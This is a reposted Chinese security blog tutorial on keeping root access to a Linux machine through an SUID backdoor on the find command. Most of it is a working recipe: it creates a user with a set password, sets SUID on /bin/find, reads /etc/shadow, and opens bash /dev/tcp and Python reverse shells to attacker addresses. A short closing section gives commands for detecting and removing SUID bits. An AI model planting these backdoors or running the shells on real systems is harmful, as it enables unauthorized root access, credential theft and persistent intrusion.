Linux持久化—SUID后门

admin 2023年12月14日20:59:51评论33 views字数 1183阅读3分56秒阅读模式

Linux持久化—SUID后门

Tips +1

Linux持久化—SUID后门


实现原理

SUID可以让调用者以文件拥有者的身份运行该文件,所以我们利用SUID提权的思路就是运行root用户所拥有的SUID的文件,那么我们运行该文件的时候就需要获得root用户的身份了。

如可以用如下文件列表进行提权

nmap
vim
find
bash
more
less
nano
cp

suid提权查询网站: https://gtfobins.github.io/#+suid

Linux持久化—SUID后门


操作步骤

被控端:

1、新建普通用户

useradd -p `openssl passwd -1 -salt 'salt' 123456` test

Linux持久化—SUID后门

2、root权限下执行如下命令

chmod 4755 /bin/find

Linux持久化—SUID后门

攻击端

登录普通用户:
ssh [email protected]

创建一个文件,然后使用find命令查看是否可以以root权限运行

普通用户下 执行:
bash-4.3$ find test -exec whoami ;
root
bash-4.3$ find test -exec cat /etc/shadow ;
root:$6$ZmdseK46$FTvRqEZXdr3DCX2Vd6CXWmWAOJYIjcAI6XQ......

Linux持久化—SUID后门

利用find 反弹shell

# 命令解释: 以find 命令 执行  whoami 命令。   
# find (一个路径或文件必须存在) -exec 执行命令 (结束)

find /etc/passwd -exec bash -ip >& /dev/tcp/192.168.43.19/8090 0>&1 ;

Linux持久化—SUID后门

Linux持久化—SUID后门


利用python 反弹一个root权限的shell,实现提权

靶机端:
bash-4.3$ find /etc/passwd -exec python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("172.16.100.16",8090));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' ;

攻击端:
nc -lvvp 8090

Linux持久化—SUID后门

如何排查

检测:
# find / -perm -u=s -type f 2>/dev/null
# find / -user root -perm -4000 -exec ls -ldb {} ;
# find / -user root -perm -4000 -print 2>/dev/null

解决:取消s权限,例如
# chmod u-s /usr/bin/find

Linux持久化—SUID后门

切换到test,再使用find 查看就不行了。

Linux持久化—SUID后门

Linux持久化—SUID后门




                                        

End


“点赞、在看与分享都是莫大的支持”



Linux持久化—SUID后门


原文始发于微信公众号(贝雷帽SEC):Linux持久化—SUID后门

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年12月14日20:59:51
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Linux持久化—SUID后门https://cn-sec.com/archives/2300185.html

发表评论

匿名网友 填写信息